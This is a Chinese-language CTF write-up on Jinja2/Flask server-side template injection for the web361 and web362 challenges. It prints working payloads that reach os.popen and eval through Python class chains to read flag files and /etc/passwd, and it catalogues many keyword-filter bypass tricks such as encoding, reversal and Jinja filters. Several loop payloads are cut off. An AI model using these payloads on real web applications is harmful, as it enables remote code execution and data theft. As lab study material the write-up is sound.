SSTI
web361
SSTI原理
网址输入“{undefined{7+7}}”页面显示14,说面存在“SSTI” :
SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
基础知识
常用方法
__class__ 查看对象所在的类 |
过滤器
int() 将值转换为int类型; |
利用链
python2、python3 通用 payload(因为每个环境使用的python库不同 所以类的排序有差异)
直接使用 popen(python2不行)
os._wrap_close 类里有popen |
使用 os 下的 popen
含有 os 的基类都可以,如 linecache |
使用__import__
下的os(python2不行)
可以使用 __import__ 的 os |
__builtins__
下的多个函数
__builtins__下有eval,__import__等的函数,可以利用此来执行命令 |
利用 python2 的 file 类读取文件
在 python3 中 file 类被删除 |
flask内置函数
Flask内置函数和内置对象可以通过{{self.__dict__._TemplateReference__context.keys()}}查看,然后可以查看一下这几个东西的类型,类可以通过__init__方法跳到os,函数直接用__globals__方法跳到os。(payload一下子就简洁了) |
通用 getshell
原理就是找到含有 __builtins__ 的类,然后利用 |
注入思路
1.随便找一个内置类对象用__class__拿到他所对应的类 |
payload解释
关于python魔术方法payload:"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() 的解释 |
[关于python魔术方法payload:"".class.mro[2].subclasses()[40]("/etc/passwd").read() 的解释]: https://xuanxuanblingbling.github.io/ctf/web/2019/01/02/python/
写一个python脚本带入执行查找flag
{% for c in [].__class__.__base__.__subclasses__() %} |
题目
参数呢???
小小fuzz一下
找到个name参数,发现一个xss
不玩了,测试一下ssti
发现存在模板注入
获得字符串的type实例 |
获得其父类 |
获得父类中的object类 |
获得object类的子类,但发现这个__subclasses__属性是个方法 |
使用__subclasses__()方法,获得object类的子类 |
提供 os._wrap_close 中的 popen 函数 |
来个脚本
{% for c in [].__class__.__base__.__subclasses__() %} |
用的时候可以把注释去掉
?name={% for c in [].__class__.__base__.__subclasses__() %} |
?name={% for c in [].__class__.__base__.__subclasses__() %} |
另外的方法
也可以直接用 lipsum 和 cycler 执行命令
?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}} |
或者用控制块去直接执行命令
?name={% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat ../flag').read()"))%} |
web362
ssti模板注入绕过
语法
{%%}
可以用来声明变量,当然也可以用于循环语句和条件语句{undefined{}}
用于将表达式打印到模板输出- ``表示未包含在模板输出中的注释
- ##可以有和
{%%}
相同的效果
变量
除了使用标准的python .(点)之外,还可以使用中括号来访问变量的属性.
{{"".__class__}} |
所以过滤了. 我们还可以使用中括号绕过个.如果想调用字典中的键值,其实本质上是调用了魔术方法__getitem__ 所以对于取字典中键值的情况不仅可以使用[],也可以使用__getitm__,当然对于字典来说,我们也可以用他自带的一些方法了.pop就是其中的一个
pop(key[,default]) |
那么调用对象的方法具体是什么原理呢,其实他调用了魔术方法_getattribute_
"".__class__ |
如果题目过滤了class或者一些关键字,我们就可以通过字符串处理进行拼接了
拼接
"cla"+"ss"
反转
"__ssalc__"[::-1]
在jinjia2里面,”cla””ss”是等同于”class”的
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])ascii转换
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'编码绕过
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")利用chr函数
我们没有办法直接使用chr函数,因此需要通过__builtins__找到它
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}在jinja2里面可以利用~进行拼接
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
大小写转换
""["__CLASS__".lower()]
过滤器
attr
attr用于获取变量
""|attr("__class__")
相当于
"".__class__这个大家应该见的比较多了,常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况
format
{ "%s, %s!"|format(greeting, name) }}
那么我们想要调用__class__就可以用format了
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]first last random
Return the first item of a sequence.
Return the last item of a sequence.
Return a random item from the sequence.random的话是随机返回,这样我们跑个脚本肯定是可以得到我们想要的
"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]join
多了一种字符串拼接的方法
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]lower
""["__CLASS__"|lower]
replace reverse
我们可以利用替换和反转还原回我们要用的字符串了
"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"string
功能类似于python内置函数 str有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串。
().__class__ 出来的是<class 'tuple'>
(().__class__|string)[0] 出来的是<select unique
我们和上面的结合就会发现他们巨大的用处
()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>
这样我们会拥有比前面更多的字符来用于拼接
(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]
得到字符串"__class__"list
转换成列表更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了
只是单纯的字符串的话取单个字符方法有限(()|select|string)[0]
如果中括号被过滤了,挺难的
但是列表的话就可以用pop取下标了
当然都可以使用__getitem__
(()|select|string|list).pop(0)
获取键值或下标
dict['__builtins__'] |
获取属性
().__class__ |
存在模板注入,上面语句之间拿来试试
?name={% for c in [].__class__.__base__.__subclasses__() %} |
过滤了啥
?name={% for c in [].__class__.__base__.__subclasses__() %} |
骗我